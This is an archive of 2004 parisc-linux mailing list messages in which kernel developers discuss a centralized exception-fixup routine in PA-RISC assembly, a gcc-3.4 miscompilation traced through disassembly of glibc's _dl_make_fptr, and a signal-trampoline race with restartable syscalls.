why do you think absolute fixups take more space?  in fact, absolute
fixup is what might allow us to save space.

the bit that is taking up more space is that the logic that stores
-EFAULT/0 is now duplicated for each get_user/put_user call. For 64-bit
kernels, that's 5 insns per call. In the original implementation, this
logic is centralized in the fault handling code.

possibly, we can create a centralized fixup routine in
arch/parisc/lib/fixup.S that looks like:

    .section .fixup, "ax"
fixup_load_skip_1:
    ldi -14, %r8
    copy %r0, %r9
    mfctl %cr30, %r1
    LDREG 0(%r1), %r1
    LDREG TASK_PT_IOR(%r1), %r1
    ldo 4(%r1), %r1
    bv,n %r0(%r1)

and __get_user_asm() will become

#define __get_user_asm(ldx,ptr)                         \
        __asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
                "2:\n"                                  \
                "\t.section __ex_table,\"aw\"\n"        \
                 "\t.word\t1b,fixup_load_skip_1\n"      \
                 "\t.previous"                          \
                : "=r"(__gu_val), "=r"(__gu_err)        \
                : "r"(ptr), "1"(__gu_err));

similarly we will have fixup_store_skip_1, and for 32-bit we also need
fixup_load_skip_2 and fixup_store_skip_2 for the 64-bit
get_user/put_user calls.

this reintroduces the requirement that __gu_val and __gu_err be in fixed
registers, but the fixup regions don't need to be duplicated, so the
kernel size should become smaller again.

thoughts?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: stay the same with gcc-3.4.2 :( [was: back to
 glibc-2.3.3 & gcc-3.4.1 pb]
Date: Sun, 12 Sep 2004 20:21:01 +0000
Lines: 136
Approved: news@gmane.org
Message-ID: <4144AFAD.9050804@tiscali.be>
References: <200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
	<413CDB5F.3080705@tiscali.be> <41434248.7070009@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623554 11047 80.91.229.3 (22 Nov 2014 02:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3254 invoked by uid 65534); 12 Sep 2004 20:19:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 12 Sep 2004 22:19:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 723713BE4E; Sun, 12 Sep 2004 14:19:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06969-10; Sun, 12 Sep 2004 14:19:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A71F23BE25; Sun, 12 Sep 2004 14:19:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 556EC3BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 14:19:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06969-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 14:19:20 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id A96603BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 14:19:19 -0600 (MDT)
Original-Received: from [83.134.226.236] (helo=[83.134.226.236])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C6aoY-0005IQ-FQ; Sun, 12 Sep 2004 22:19:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <41434248.7070009@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21981

Hello all,

Continuing investigation:

>> Hello Dave,
>>
>> John David Anglin wrote:
>>
>>>>     0x411cc740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
>>>> in:
>>>> r7 == 0x7c4
>>>> r6 == 0x0
>>>
>>>
>>>
>>>
>>> r6 is wrong.  Find out why it is zero.
>>>
>> Far from being an expert, with help of ddd it seems that:
>> ElfW(Addr)
>> _dl_make_fptr (struct link_map *map, const ElfW(Sym) *sym,
>>                ElfW(Addr) ip)
>> {
>>   ElfW(Addr) *ftab = map->l_mach.fptr_table;    <====[2]
>>
[...]
>> the weird stuff his in fact here:
>>
>>   if (__builtin_expect (ftab == NULL, 0))
>>     ftab = make_fptr_table (map);	<================[3]
>>
 >>   symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
 >>   symidx = sym - symtab;    <=========================[1]
 >>
 >>   if (symidx >= map->l_mach.fptr_table_len)
 >>     _dl_signal_error (0, NULL, NULL,
 >>                       N_("internal error: symidx out of range of fptr table"));
 >>
 >>   while (ftab[symidx] == 0)	<========================[4]

Finaly it seems that two things hapened wronly in gcc-3.4 at those tags [3] & [4]:
comparing side by side the asm form of this chunk:

gcc-3.3						| gcc-3.4
=======						| =======
ldw 1fc(,r26),r7				| ldw 1fc(,r26),r6	<====[2]
	ftab == r7 == 0x0			|	ftab == r6 == 0x0
						|
copy r26,r8					|
cmpib,= 0,r7,0x412631a0 <_dl_make_fptr+252>	| cmpib,= 0,r6,0x412858f4 <_dl_make_fptr+548>	<====[3]'call' make_fptr_table()
	r7 == 0x40001000			|	r6 == 0x0
						|
copy r25,r3					| copy r25,r3
ldw 30(,r8),r20					| ldw 1f8(,r26),ret1
ldw 1f8(,r8),r22				| ldw 30(,r10),r21
ldw 4(,r20),r21					| ldw 4(,r21),r20
						|
	r3 == 0x4026d1c4 (== sym)		|	r3 == 0x40037cdc (== sym);
	r21 == 0x40265164 (== symtab)		|	r20 == 0x4003009c (== symtab)
sub r3,r21,r21					| sub r3,r20,r20	<====[1]
	r21 == 0x8060				|	r20 == 0x7c40
						|
extrw,s r21,27,28,r21				| extrw,s r20,27,28,r7
	[== r21 >> 4]				|	[r7 = r20 >> 4]
	r21 == 0x806				|	r7 == 0x7c4
						|
	r22 == 0x813				|	ret1 (aka r29) == 0x7d1 (== map->l_mach.fptr_table_len)
	(r22 == map->l_mach.fptr_table_len)	|	(ret1 == map->l_mach.fptr_table_len)
cmpb,<<= r22,r21,0x41263184 <_dl_make_fptr+224>	| cmpb,>>=,n r7,ret1,0x412859d0 <_dl_make_fptr+768>
depw,z r21,29,30,r9				|
	[r9 = r21 << 2]				|
	r9 == 0x2018				|
						|
add,l r9,r7,r21					|
	r21 == 0x40003018			|
						|
ldw 0(,r21),r20					| ldw,s r7(,r6),ret0	<====[4] (i.e. ftab[symidx])
cmpib,<> 0,r20,0x41263150 <_dl_make_fptr+172>	| cmpib,<> 0,ret0,0x4104aa38 <_dl_make_fptr+248>

Here I agreed that the code could be (assuming that r6 == fatb) ldw,s r7(,r6),ret0 but need at least 'depw,z r7,29,30,r7' before

[...]
ldw 2c(,r26),r21				| ldw 30(,r26),r20	<==== make_fptr_table()
ldw 30(,r26),r20				| ldw 4(,r20),r21
addil 0,r19,%r1					| addil 0,r19,%r1
copy r19,r4					| copy r1,r22
ldw 4(,r20),r22					| ldw 2c(,r26),r20
ldw 4(,r21),r26					| ldw 4(,r20),r26
ldi 3,r24					| sub r26,r21,r26
ldi 12,r23					| ldw 44(,r10),r20
ldw 44(,r8),r21					| ldw 4(,r20),r25
sub r26,r22,r26					| b,l 0x41287d60 <$$divU>,r31
ldw 654(,r1),r1					| copy r19,r4
ldw 4(,r21),r25					| ldi -1,r20
ldw 4(,r1),r20					| stw r20,-34(,sp)
ldi -1,r21					| ldi 0,r26
b,l 0x41265570 <$$divU>,r31			| ldw 638(,r22),r20
sub r0,r20,r22					| ldw 4(,r20),r25
stw r21,-34(,sp)				| depw,z ret1,29,30,r5
ldi 0,r26					| ldi 3,r24
depw,z ret1,29,30,r5				| sub r0,r25,r20
stw r0,-38(,sp)					| copy ret1,r6
copy ret1,r6					| stw r0,-38(,sp)
add,l r5,r20,r20				| add,l r5,r25,r25
add,l r20,r21,r20				| ldi 12,r23
and r20,r22,r20					| ldo -1(r25),r25
b,l 0x412641bc <__mmap>,rp			| b,l 0x412869a8 <__mmap>,rp
copy r20,r25					| and r25,r20,r25
copy r4,r19					| copy r4,r19
cmpib,= -1,ret0,0x4126323c <_dl_make_fptr+408>	| cmpib,= -1,ret0,0x412859e0 <_dl_make_fptr+784>
copy ret0,r26					| copy ret0,r26
						|	(ret0 == 0x40001000)
ldw 1fc(,r8),r20				| ldw 1fc(,r10),r20
cmpib,<>,n 0,r20,0x4126322c <_dl_make_fptr+392>	| cmpib,<>,n 0,r20,0x412859a0 <_dl_make_fptr+720>
						| copy r6,ret1
						|	(ret1 == 0x815)
stw ret0,1fc(,r8)	(a)			| stw r6,1f8(,r10)	(d)
stw r6,1f8(,r8)		(b)			| ldw 1fc(,r10),r6	(e)		<==== ????
b,l 0x412630e0 <_dl_make_fptr+60>,r0		| b,l 0x4128572c <_dl_make_fptr+92>,r0
ldw 1fc(,r8),r7		(c)			| stw ret0,1fc(,r10)	(f)		<==== make_fptr_table()'s return

hmmm here I have the feeling that (d) (e) and (f) were wrongly re-ordered;
if they have the similar order as  (f) (d) and (e), r6 == ftab would be loaded by the right value 0x40001000?

That said I didn't reach to produce a test case reporducing that fact :(
Do you think that if I transmit those explanations (may be a bit completed for gcc-3.3 example) with the precompile (-E) code, it 
could be enough to fill in a br near gcc team?

TIA,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Sun, 12 Sep 2004 15:19:56 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <20040912191955.GU1854@baldric.uwo.ca>
References: <20040911165325.GO28659@tausq.org>
	<20040912134707.GL1854@baldric.uwo.ca>
	<20040912161550.GR28659@tausq.org>
	<20040912175433.GQ1854@baldric.uwo.ca>
	<20040912184817.GS28659@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623554 11049 80.91.229.3 (22 Nov 2014 02:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14459 invoked by uid 65534); 12 Sep 2004 19:20:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 12 Sep 2004 21:20:35 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4356E3BE22; Sun, 12 Sep 2004 13:20:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06229-08; Sun, 12 Sep 2004 13:20:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 842CB3BE25; Sun, 12 Sep 2004 13:20:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A4B83BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 13:20:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06272-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 13:20:03 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8DA413BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 13:20:02 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1C6ZtE-0007Pb-00; Sun, 12 Sep 2004 15:19:56 -0400
Content-Disposition: inline
In-Reply-To: <20040912184817.GS28659@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21982

Randolph,

> when you have a fault, we already store the ior/isr into the pt_regs
> structure. so as long as we are not clobbering those in the interruption
> exit path, it will still be accessible in the fixup code.

I worry that the fixup code may trigger another interruption and clobber
those values before it can read them? Any interruption will resave
ior/isr. Perhaps storing them into r8/r9 is still best.

> possibly, we can create a centralized fixup routine in
> arch/parisc/lib/fixup.S that looks like:
> 
>     .section .fixup, "ax"
> fixup_load_skip_1:
>     ldi -14, %r8
>     copy %r0, %r9
>     mfctl %cr30, %r1
>     LDREG 0(%r1), %r1
>     LDREG TASK_PT_IOR(%r1), %r1
>     ldo 4(%r1), %r1
>     bv,n %r0(%r1)
> 
> and __get_user_asm() will become
> 
> #define __get_user_asm(ldx,ptr)                         \
>         __asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
>                 "2:\n"                                  \
>                 "\t.section __ex_table,\"aw\"\n"        \
>                  "\t.word\t1b,fixup_load_skip_1\n"      \
>                  "\t.previous"                          \
>                 : "=r"(__gu_val), "=r"(__gu_err)        \
>                 : "r"(ptr), "1"(__gu_err));
> 
> similarly we will have fixup_store_skip_1, and for 32-bit we also need
> fixup_load_skip_2 and fixup_store_skip_2 for the 64-bit
> get_user/put_user calls.

That would be a brilliant space saver. I take it back, I hand't thought
about interrupting to a generic fixup function for all the
__get_user_asm uses.
 
> this reintroduces the requirement that __gu_val and __gu_err be in fixed
> registers, but the fixup regions don't need to be duplicated, so the
> kernel size should become smaller again.

Implementation?

a. Single generic fixup for all the asm macros (reduce kernel size).
        - Fixes previous quibble that absolute addresses made
          the kernel bigger because asm macros had more insns.
b. Absoulte fixup addresses (allows fixup to be anywhere).
c. Use only one flag in the fixup address to indicate wether
   r8/r9 should be written to with ior/iir or not. 
   Leaving a spare flag for future uses.

Pro:

o Kernel size is smaller.
        - Bonus!
o fixup can be located almost anywhere (absolute address).
        - Bonus!
o Custom code can examine r8/r9 to determine more accurately the 
  faulting situation.
        - Bonus!

Con:

o Generic slow path is a couple more insns slower ;)
        - Regression, no worries.
o Generic fixup always locks r8/r9 into gu_err and gu_val
        - Same as always.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] syscall restart block.
Date: 12 Sep 2004 17:36:00 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <1095024967.1990.23.camel@mulgrave>
References: <20040912184553.GT1854@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623555 11050 80.91.229.3 (22 Nov 2014 02:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:35 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
 Randolph Chung <tausq@debian.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24037 invoked by uid 65534); 12 Sep 2004 21:37:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 12 Sep 2004 23:37:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E07A93BE14; Sun, 12 Sep 2004 15:37:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07466-05; Sun, 12 Sep 2004 15:37:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A601B3BE25; Sun, 12 Sep 2004 15:36:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13A353BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 15:36:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07466-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 15:36:48 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 318163BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 15:36:47 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i8CLa6J18235; Sun, 12 Sep 2004 17:36:06 -0400
In-Reply-To: <20040912184553.GT1854@baldric.uwo.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21983

On Sun, 2004-09-12 at 14:45, Carlos O'Donell wrote:
> The problem is that we should in general disable restartable syscalls as
> we walk the userspace return trampoline. If the user took a signal
> during the trampoline walk, the signal handler could execute a
> restartable syscall, and if that syscall was interrupted, the restorer
> function would be changed (there is only one entry for a restorer, they
> aren't chained). This means that you technically call the wrong syscall
> when you unwind from the signal that you took on the stack trampoline.

If I read this scenario correctly it can only be triggered on an SMP
system (where another user process executing on a different CPU sends a
singnal to this process) or if the process is unlucky enough to take an
interrupt while executing the trampoline ... still, the window exists
and should be plugged

> I only just realized we still had this hole and it might manifest itself
> under heavy signal load.

Precisely, because heavy load usually implies higher disc or network
interrupt load.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: syscall restart block.
Date: Sun, 12 Sep 2004 17:05:11 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20040913000511.GU28659@tausq.org>
References: <20040912184553.GT1854@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623555 11051 80.91.229.3 (22 Nov 2014 02:32:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:35 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16587 invoked by uid 65534); 13 Sep 2004 00:06:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 13 Sep 2004 02:06:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 166C03BE22; Sun, 12 Sep 2004 18:05:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09365-02; Sun, 12 Sep 2004 18:05:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 77F453BE25; Sun, 12 Sep 2004 18:05:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 996B03BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 18:05:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07999-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 18:05:11 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 430683BE14
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Sep 2004 18:05:11 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 948D5CD641; Sun, 12 Sep 2004 17:05:11 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040912184553.GT1854@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21984

> If we move stack trampolines to the gateway pagethen signals can't be
> delivered to the returning process during the trampoline walk (signals
> are not allowed to be delivered for processes on the gateway page). So
> it fixes our hole too.
> 
> It also allows us to interpret PT_GNU_STACK properly, since the kernel
> no longer needs to execute a trampoline on the users stack. The
> toolchain can now correctly mark the stack as non-exec.
> 
> I only just realized we still had this hole and it might manifest itself
> under heavy signal load.

i think the analysis is correct, but i don't like the solution! :-)

various pieces of software (gcc, gdb) need to be able to read and
analyze the signal trampoline for unwinding. putting the trampoline 
onto the gateway page will break these applications, because the 
gateway page is not readable by the user.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
